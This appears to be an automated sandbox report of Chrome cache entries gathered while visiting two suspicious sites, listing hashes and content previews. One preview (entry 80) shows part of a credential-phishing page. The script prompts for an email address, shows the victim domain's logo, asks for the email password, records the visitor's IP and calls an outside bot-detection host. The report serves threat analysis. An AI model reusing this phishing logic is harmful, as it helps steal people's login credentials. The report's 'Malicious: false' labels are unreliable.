SHA-256:	F2AE26FF518D9519AFD2A3DC277D84E098458E6B6B85FA9548CDA2BED24435E7
SHA-512:	E2E0072386F2F35690899509229136406C27C2B95E3E8CC810AEB6630D7F13BD0872E0F6E650B4FDDCE2567680E7C42EEA49C62BD2653006F5151D9BA0430CD7
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var d=new Set,p={};function m(e,n){h(e,n),h(e+"Capture",n)}function h(e,n){for(p[e]=n,e=0;e<n.length;e++)d.add(n[e])}var g=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),v=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.3464393446710154
Encrypted:	false
SSDEEP:	3:YMicUQ4n:YMipn
MD5:	DB9CADB5E0C9978BF27F392B5A63D5F2
SHA1:	7BFA256A8BA9574CAF8E962185A4815E6C25953A
SHA-256:	9B79C9D6C443286BD73481A73581ED9A3566C08E016ACDA92139B07C0C7873E9
SHA-512:	2DBEC5783AA654BEAAA01BF3B637BBE73FFA257BD26E835CB75E617E53F1DFEC35666A40F9067E02B6BCA5BE5BFF23558024FC2ABDE5E0EB0FE3D6D9C4E92C96
Malicious:	false
Reputation:	low
Preview:	{"ip":"69.255.1.15"}

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	280
Entropy (8bit):	5.255155675654176
Encrypted:	false
SSDEEP:	6:XzjbdHhjbzrrm8FxkvV+3rbXY5+MiTYpz0RryQJ6dLt:fbjrm8FxAU7bXP1Ypz0dyQULt
MD5:	FEE534CEE4DA1C4A41D1EE54F48DB65B
SHA1:	DAE46FEEA39BBBA346DA2DB16C4DF5B7E90A1357
SHA-256:	159DCBF63601BDFCB99D7389FD4D70F185A6A8E308068072B443BB06F1D74CD5
SHA-512:	95F916B9754F1E9B73246EB87E10AF666FC07B2F2A2CABB7A4DB1D924115FD8F27FF097702DE5697E91B61A3E5DE59D55F80925198BAD31F02E54B7AC9AF329D
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597),_(6885)}),_N_E=n.O()}]);

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57744)
Category:	downloaded
Size (bytes):	64992
Entropy (8bit):	5.454835624756822
Encrypted:	false
SSDEEP:	768:ok2S853vbYEfEA+pMTaiLD1UFvKM9MfNP/HmaF23zYT1PlipuAU3QgSv9AZitoP8:Db8lvbvTleifGwkMfNPeJmdiGSvQuF
MD5:	575C44CD8AFE1990210F891769BC660A
SHA1:	75B0609D9F1A9124ED4E27F3FBD232B8985E6B0F
SHA-256:	E2EFBA3AD9DEACFED91542891E1D8EB0859C0D47371A5A8E3809992320F7DAF6
SHA-512:	862619470AC49D0DC89F6FF3C1BB9AB7891DAA1A55E559F73E8B71559ACA1BE7130D3ECE4CCFFC5DDE98F9A70F96446BAD17E753677D096FEB21A7954416DA58
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToString(t)))}},bin:{stringToBytes:function(t){for(var e=[],r=0;r<t.length;r++)e.push(255&t.charCodeAt(r));return e},bytesToString:function(t){for(var e=[],r=0;r<t.length;r++)e.push(String.fromCharCode(t[r]));return e.join("")}}};t.exports=e},1012:function(t){var e,r;e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r={rotl:function(t,e){return t<<e\|t>>>32-e},rotr:function(t,e){return t<<32-e\|t>>>e},endian:function(t){if(t.constructor==Number)return 16711935&r.rotl(t,8)\|4278255360&r.rotl(t,24);for(var e=0;e<t.length;e++)t[e]=r.endian(t[e]);return t},randomBytes:function(t){for(var e=[];t>0;t--)e.push(Math.floor(256*Math.random()));return e},bytesToWords:function(t){for(var e=[],r=0,n=0;r<t.length;r++,n+=8)e[n>>>5]\|=t[r]<<2

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	109
Entropy (8bit):	6.387360700884014
Encrypted:	false
SSDEEP:	3:D8FX0F9expEfemms7QQIRzXNHFzwlbjQ:DSa9esfeV9lslbjQ
MD5:	F81F434C9458D80DC12810113526D01E
SHA1:	72715CD3EF28B91E836624B5FAA3B117DC9FE855
SHA-256:	9B961761A839BB0BBDF5ED19E310D1F3BE36F8C73B3BCFDDCCDB2C35FBD3FD4E
SHA-512:	9FEB5D2BF0B978C0B1F75AA3C9F930C57E2C2AEB80C1815F7648F1AB5EB8E2B755C2DE44EC116B8F6E6206FDDA0ACEA97FD5129B36E0A46626E44A63B0EC53D2
Malicious:	false
Reputation:	low
Preview:	....d.f.$FwT......ur.t....@...X.<..T.xHB...._..U{..!.&...^.5..t.#.cy..i.3.,-..G...?..bv9l.G.)...._.....K..

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	93582
Entropy (8bit):	5.3137933918088445
Encrypted:	false
SSDEEP:	1536:6ppDFYPwqNLLXwpa1VMQ1FeL5d47Wfp7XCAaIK+U:GqiokQneL5d47aLVs+U
MD5:	DA989C36392E2601EA958221AE086C80
SHA1:	BC3CE9E7F2872A6558B8068F90A40B0CEDD93462
SHA-256:	2563B9EC72FD85ADC785A500E808635088D4DA3FF7993F386D9692B028B13A5B
SHA-512:	266C763D3C65A349BA5D4E07E70BCA18D59036252C4A92A009B97D4E35D1A9BDB810B3F825E716B5C60D9E867E4C4633148EDFD8C20BDD4DFFE7086CAFE76E4C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then(function(r){return t.resolve(e()).then(function(){return r})},function(r){return t.resolve(e()).then(function(){throw r})})}),Object.fromEntries\|\|(Object.fromEntries=function(e){return Array.from(e).reduce

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.451551279226306
Encrypted:	false
SSDEEP:	24:C/6f+Xel9sovQxFX0+gWYHBBoamGa9Kttt:C/6f+uluW6h0+UHBgGa9KJ
MD5:	4B5FEBB3FB4517A225620B5FE05016D2
SHA1:	02F3621A49871422123E5D560CFFDE14F6C719D5
SHA-256:	FA2E9317D000C52911C303166AB105CB0BC76D06783F5C069E8388556CA544E3
SHA-512:	80C0909A2F8CF64C97EE888CF7A039C6E22B6FCB02666277E3A6087ABE258763F69C7CC1B65BACDAE5AC5FF3C7C1015E297E3ADE494B81E86AE0C20A0F36A787
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......w8....pHYs.................IDATx..1..A....A.,...b.......r..;.lm.....;K.B,m--l,.D.R$!..U.j#+...w...dgg...I....7K............1.>7..{.'.T.^jEw....].-...ue...8..........9&#..LO...a7........\..]q...MG Kz=.MG Kz..$.u].er.^...@b^.W@.^.....5....u.s.]z].}Wg..'........0..G.....+.......`.^......iw6.nM...g...X.......7...RI[.@$....t.d..B.Q...X.. X.......}....@.X.PP\..L.......@x..................."((.(.....DPP.P....(..... ((.P.AA!@APP\. ..B.....@A.....AAq...................._\|..Vt..-...@..-1..B)..y.CE;.[....ZD.....RQLy..}7.$..3..hn..N8_3#L...#..?...}.R36.Mbhn..YY...0}.j..^.W......S].......f.7?.ba..j."..R[......`%...^mE......n...}.y...:;..7...0=..........(.N......i...gU.&g....P.c..c..5.rK..G.....y.._........V..ke....]........0.......+......IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	downloaded
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	694
Entropy (8bit):	7.644316022961293
Encrypted:	false
SSDEEP:	12:LosaXjCRJm7PYo48fZtqFNo+APrUQmCGwpvhfZBrKW7Sn:LoBXGmbYbSAFRAjVmCG41ZBXSn
MD5:	D13C542DA26E87B69AA16CEA7229C3F5
SHA1:	114D3593CA481CC8FCF750FDE92279C2871DDEF3
SHA-256:	248E35264F85B24DAA59509769F05FA1A339E7B53788EB31AFC0DFCFA44DDD4E
SHA-512:	AC8AF1189D4A10A1D340CABD2B9D18762CF3D5EC6D3184757E8BB9F269858DE8A73D691ED755EA019A125EE218A3F397FF4118AE376074047BD7966271719855
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/styles.css
Preview:	(./..X4....d/...30.s!y.H.{I.I.;...io..~..@. .G....m&o......X.Y.U..xB..\...)!.....#.H(.$..Gs4G......K......)......\.....T?.?.>.8..\..k...M=wCDL("p..,.B..1...4...\|..W.K..0...:.5...}..0L..&...cY......`..r...8EJc..\.f.=5...'-KW..[.!...~)qq...I.1nG.........(..X(....k..nD../mi.C....B....#1-.P.?..C...{.*..m..+c.-$.K.4.......H.5..r.5E^fy?..{.8..^..k........z.I....u..$]..q.K....a.....a.0...~...n...._r.q...A.XI0.$.9@.B..J;.@.X..R..!.....g/..dF.$..2.X......E.c....s.........-..{4..J.....KE.E.C..\..,E..{....A}s...]{...3/.CpU.!v.C<...9.'....o....VU$...m....U.......B......b.......KJ..CJ.w.T..5s..>..5.G.XR.V..L1..w.iU.I.>t!.k.j..#a.o.....}j..E.h..i.au.(...).......~.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	1623
Entropy (8bit):	7.880654339640907
Encrypted:	false
SSDEEP:	48:QDmBaAVJb1SjGqnr7wMnQ9BjmpbD1mnFvbyab+G:NVGNr7w3BPUG
MD5:	586B77E57561ABC285528EB44E9A2E0F
SHA1:	13E34DED2F56171791D6B09184F4296BB18361F9
SHA-256:	D4AC49A95C715B73AE5FB9A5AF350D9E507FC8705176C1A3EE5ACB62A8E6E825
SHA-512:	E0D24CBCD8E19118BE0E41B0234273620A6F15E97FC090C7B6DBAF34104A56BA245B894FB9235E4A8BC3E7810C9CA67B499B3742ADF324165B5D26BE4792F40D
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/script.js
Preview:	(./..X<2..TT.=@m...C:.a.F..W..a}.....Hd.~...........5.EQ.~...wF...Q..........v..W,..H....H.pb.vzqS:..@...@....J1.v...R7..h7e.Z..r....!ncf...J..-VJ...MD.......~..!H<.&(&(>...i...Kx..w....E.L.e......V....a{0....eV..... .\|.2$wn`...P&r....wb@.2..-....V......T......].N..T~O.......#.@....B+u.....;.-.S.R.....BD..Dmd.Wz..j....;..B..y}L8. ra_N;...)......q...X...5B.8+.:.j]zs....i.s.sj\|M!P(.....mv1.n..i...@...f'..R)..L.!.\|9.0:...^..V...AkF.D...E.D....O...<z5.......\|.k...5g{e...^.O...[.I...F.=F.x....uk.T.p.R,..>....Lh}E......e".=XM.....;.l.1.....r.}..m....>A..[\\...y.K...L.....`.x.....?~y...Y2.-..X ..A....c.am);3.:.. .2..A.f.d.=.O...P..n.zk.L&..i..1....2a...\7`Nej.b....F..^.(._.......=x.)sc.....r..}n>j}<e....H._..........m.{.O..s..g....W....W...".tP.p...<%.....L2.s.......S.%.0....L.4..p..Y.iF.....\|....V......./o....W$...n_.V*.V.........n...h.R..\.KO.."..G^..@....=%...A....&\|.c..n...!HH...'.Qyi......Z..o...J.X....`.xR#...a...4......b

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	4030
Entropy (8bit):	7.934088590073434
Encrypted:	false
SSDEEP:	96:D86m/YGs2ttWorLGg3YPfsI98AzkdSViBz:ILvsEtWGYns4zkdNZ
MD5:	638D006D5C2FC6048080AFB41BBFDE6C
SHA1:	974322397305E4085B6BE8EB663896000C55F578
SHA-256:	52FAA316DDE0ED4A615F4DAACFA669C06A2CAE9CD2CBC0A5F3325A3AB40B6ADF
SHA-512:	FC6497D8E11D5E0AFC150061CF3389817CAF953B5FBAB819770453CBF27C3BC6962FF47858FABD5CA370E1E0C6E4082A6DCF1A5F7C6776C683381A7797058D00
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/cdn-cgi/challenge-platform/h/g/scripts/jsd/f3b948d8acb8/main.js?
Preview:	(./..Xt}...0-/.D.m..V0....0A..VA-.#..`.4.W...!..HC.......+............q.g\.Q~...z..,....fi.]..._2.P..U(.....&.B}..;.M..bx.D.4.>{.1L....~..pj.z....Sk.C.. #uqQ.F....l..W.{1.e..h.....<o.C}.6.TG.../f.\|.v`;....K.F....x..3._=.B...7.Q...Z..:.X4...g{..J.}....C/....z.f..vF.........E_.+..{h.@.8..^.N.9.q\h.`...[.......Bo..hp....P..P....9~.6.o.........5..^..:......B...Ay R...G....JW^9>.vf.n..l.........V..MoS0K-.y..o.[.=.n..M7.."...vV.F.6.$...Pz;.h^C....bi.7..B..Pr.4..H..Lv%..q..-..ah....0..Sw..._p..x........+.x..DU..&....ta%F...L,.m.~.>.og....{.0...%...yK.LB........L<:..._...W.J.. .a.$p&E........U.H...dv...$.=..HwfYGc.....\......h+.-...PE./.E.PS....{..O........).....%...wN..s...+...%<.A.<D..4G..+@;)..L.>.....8@....F.@(FN.)..!!.z.M'..i... ..LO}.....`.?.7.;...3mz.A;.c...AL......e...3``.5....@v..Q.n.F.n..<.{x.6W..........<.6!...&v....t.y....'..#.}.y.G..0=p6.te1.?O...n*../....$.bY.v.\.<........O..m...J,.q.C.w4.).7==. .......<O.=........r...5...h..\.yP_

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	3.3464393446710154
Encrypted:	false
SSDEEP:	3:YMicUQ4n:YMipn
MD5:	DB9CADB5E0C9978BF27F392B5A63D5F2
SHA1:	7BFA256A8BA9574CAF8E962185A4815E6C25953A
SHA-256:	9B79C9D6C443286BD73481A73581ED9A3566C08E016ACDA92139B07C0C7873E9
SHA-512:	2DBEC5783AA654BEAAA01BF3B637BBE73FFA257BD26E835CB75E617E53F1DFEC35666A40F9067E02B6BCA5BE5BFF23558024FC2ABDE5E0EB0FE3D6D9C4E92C96
Malicious:	false
Reputation:	low
URL:	https://api64.ipify.org/?format=json
Preview:	{"ip":"69.255.1.15"}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	1448
Entropy (8bit):	7.833788250937824
Encrypted:	false
SSDEEP:	24:iVYStCbwyO1pY3O4wIUyKwD5Y8AZ9KG4DwNdDLVLPHL6Er0QqZBO9GEEtK/:9StCbEzCwIUyBDG849qDwNVUfHZBaEk/
MD5:	12259E599B726C01B3E8AC252543D2B8
SHA1:	B6CCDD34C7DE8CD29E3C066C9D0292DF253DF04B
SHA-256:	B1189500F3BD674D3C6ED96FF0017B3ED7139CC1F1C2B85CE75E421473445986
SHA-512:	45DDACB7F79B808737DABBB4709F7246BAC98113398E295BB0BC6E2F23A5208695F8340349C6D980F1F6EE77C6DEF13EEAED2E95CBE5239B82DEB3C425326E8F
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/
Preview:	(./..X.,..T..:0.........@!.a......{.s.n.+...GJT'..o...X..M$......Rk.`...........>j...$IT....lo.(...3.....vn.u.Vji..:B.....bs.......$.l,.......sm.=....}.....p.[Z-F_...!...-.o.t0.Xeg.lp.h.(g.,..v.e....V.M...Y9.....#.C...Ko.^....SK...f\|..'..\|.o.l..j...~..I@.t,p.=........A2.;..b6.....I.\|..6.tL4(..4.g....[.`.VdI\....8.k..lE.c,}{'..=o#... i.....^...X.L....[@..E.1K.........[..c.K......8.-...$g........Y!.".=.[{.^7....1..7.\MoH.{x.fi../....3tF.....4.&.=p;jr.....=..c...$.B.A."........)C..D.DITSTOob.HL....M..&.#...HO<.#M..L".....6.3*....oV..<..\|...c...........8f>.G...<../Ln...o..4cV...h...SA......,..st.u.=/..+3..y.=.....%.x......2....y..^.(.[/...~...i.. ...x.....1..^..%..........a....G..O.z.u{.....}..c6f.+.....\|iDQw.GCO.K_Z..!...o..Aq.v.....z.,."...h..l ....PA.....7..c.B..%..<.c..z.=.....1..`..x..X.f....4s..i...4c.u .........;..z...h/}......j.K..j...4..UP\|f..dZ.."H. gF../Q..;4..r.gi.D3O..._..A..^k.dD1..SF..8.X9.ti.}...1Sm.XA.l.....P .J..H...P<.C

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	235
Entropy (8bit):	7.081758836052198
Encrypted:	false
SSDEEP:	6:J7L0aTKHY8LfHSJ/dqgNDaP+PP5/x6GM09P:JvTK48LfS/dqgtaP+Z5tMi
MD5:	A5B0F01C9B4C53C9475F3E7D34EFE58C
SHA1:	0D3B0D1E64D6A51BC97D068294D9184D78DC9553
SHA-256:	C01A1EDF8B6E3F9678A31C1714CA5CA5E301D0D95EF83465C8CC7878AEE3E45B
SHA-512:	CD3EB55FD6BD995C14233C972958918D765294D1F47591F8F6F41445920654860B1B65D7DFF98C022BF116A7063553F08BDE17C54A2F170BDC6D422571839C94
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/favicon.ico
Preview:	(./..X...".-!0k.h.f...u".g]._O.RaQ..Wv......*-.w.............%.%....-..D%.y.C....yO..po....m..,.@ l4.X.0.iZ<..kO..S..g.!...#.e.-q........3R.g.F.?.U.O....p?..`.8F...i..4..+....;2.-.wt...(......t3....UY...0.i..C.N...A..c...9.d.....t

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3426), with no line terminators
Category:	downloaded
Size (bytes):	3436
Entropy (8bit):	5.493922042445215
Encrypted:	false
SSDEEP:	96:nABuzMDPGMhH/1q/jQyOcn+p29UrxiTbWmGFhF6:LzUPGGp21lG3F6
MD5:	1AB5148F51A9B649AC057952F5E150DC
SHA1:	72FE588AC5AD228580C4B2B0E65D26ABAC4D4110
SHA-256:	A18EA5410B82DAC25D50EBA359E8D729E83024EBA5F2C31EDBEBC4B6161ABC1C
SHA-512:	B2B8A0B6C6838CED260BD1685DFF7ED426DA61B3238CCF82D1D8B1410E05ACDC90064B6FFC737FAF44680266DE4D386F2429CBDDA8DDE0F4A9BA0DD34D99EF12
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.useState)(""),[n,i]=(0,o.useState)(""),[l,d]=(0,o.useState)(!1),[u,_]=(0,o.useState)("/favicon.ico"),[p,m]=(0,o.useState)("Verify your email identity to continue."),[g,h]=(0,o.useState)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventDefault(),e.includes("@")){d(!0),m("Verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("Please enter a valid email address.")},f=async t=>{if(t.preventDefault(),n.length<5){alert("Password must be at least 5 characters long.");return}h(!0);try{let t=await s.Z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.Z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigato

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2575), with no line terminators
Category:	downloaded
Size (bytes):	2575
Entropy (8bit):	5.275542685671171
Encrypted:	false
SSDEEP:	48:V+8GW++Gc++Gu7++G2++Gw++Gu++Gi++GOq++G2+4G2yGVqbOPYgujekmqOC+KK1:VJ1xvx17x/xVxxxxxZqxHDXyYqblWZK+
MD5:	1B3919FB792A62110C03224AD57F8516
SHA1:	D5577CAD84A5520E9EE3996CFA24CA02DB91DE8E
SHA-256:	B665CF0419D86C0520F9F2B66E06D0F5B259F97A762D59F43A7F1C2970AA2200
SHA-512:	F498DD19EBC4A1A58BB0EE0852A545CFDC9082620ADE364305BB905460621BA3DFE66F441F7474AE0B342326CC16DB2943D4A82E854385EACA816CD41A771C4A
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="/_next/static/chunks/framework-2c79e2a64abdb08b.js"/><link rel="preload" as="script" href="/_next/static/chunks/main-de1ad41d606513c1.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/_app-aea6920bd27938ca.js"/><link rel="preload" as="script" href="/_next/static/chunks/186-e401717d9e8b842b.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/index-d6318c8b55988a60.js"/><link rel="preload" as="script" href="/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js"/><link rel="preload" as="script" href="/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js"/><link rel="preload" href="/_next/static/css/19d09a6113afa007.css" as="style"/><meta name="viewport" content="width=device-width"/><meta name="next-hea

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3364)
Category:	downloaded
Size (bytes):	3369
Entropy (8bit):	5.848418100289746
Encrypted:	false
SSDEEP:	96:I5zDylW6rgVN5I3bM10dyzrrTXQUmqYskUSWQJ3ffffffX:IyW6rMvuOa8AU9mUSW+X
MD5:	231A2CF02952365369D30476691304CC
SHA1:	B468D074446192E28D71CBB723EEE03C2D99708D
SHA-256:	49342140DF6A56C1EC46DC652E155645F3B24DA25A8241B56C1D8F5CD85D3781
SHA-512:	653880E084A6BCF027C3D8142EDD98F497E997801D5815C3B9DDDF9BF8B9DFFBFB0E67F67A07A04C0C9DB08113995669F1B7A7D4BB8258D5DBE51ED317AC1608
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
Preview:	)]}'.["",["tesla stocks","keanu reeves john wick 5","big ten basketball tournament bracket","nasa spacex crew 10 launch","gta 6 rockstar games","data breach settlement","san francisco 49ers","unclaimed tax refunds irs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wNnJueRINRm9vdGJhbGwgdGVhbTLKDWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBbUNBTUFBQUJER20yckFBQUE5bEJNVkVYLy8vK3FBQUFBQUFDdEFBQ3lBQUQ3Ky90MUFBQ21BQUJoQUFCOUFBRG41K2ZaMmRtM28yTzBuMkYzZlgyN3BHU3NyS3lTQUFDSEFBQ2RBQUMxbTE2dVdUWmhZV0h4OGZIZjM5K2pvNk5tWERpelhqa2VIaDZTa3BKckFBQldWbFo4YWtCWUFBQ2xqVllQQUFDc09DSkZSVVcydHJhc1JDa1pBQUNEZzRPdFRTOU5UVTF4Y1hHdlpEMWphbXFibTV2SXlNZ05FQlF0S2hWSFFTWlhUeThNREFXNmxGcTNoRkMyZGtlQ2RVY2NHdzRvSXhhdExSdXNIUkk0TVI2b2xsdDZXMXVKZlgxakZSVmZHeHRvUVV

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.6242881930431965
Encrypted:	false
SSDEEP:	24:ggaTV1kvQIUr/PlnXSIe7Ut7I/cbJSkyKWv8xjlkA:GPknUrPlX7e78MNz0UA
MD5:	C619A3DA5566B231E7C0D2350D7840D4
SHA1:	19F156DB25B9247A23D9F311449520CCEFFF4B1C
SHA-256:	91DD77232284E6C2C527633A61FAECF3961878E395F787E8840DF2914C934C1E
SHA-512:	AA64944633F75CF543EABC987B49D0222F6CE05C986FCE5BF31B285B90FBFFF03BF71D386C9F30827070156328F7B9432EA46CA126C829CFA398D378C8357B1A
Malicious:	false
Reputation:	low
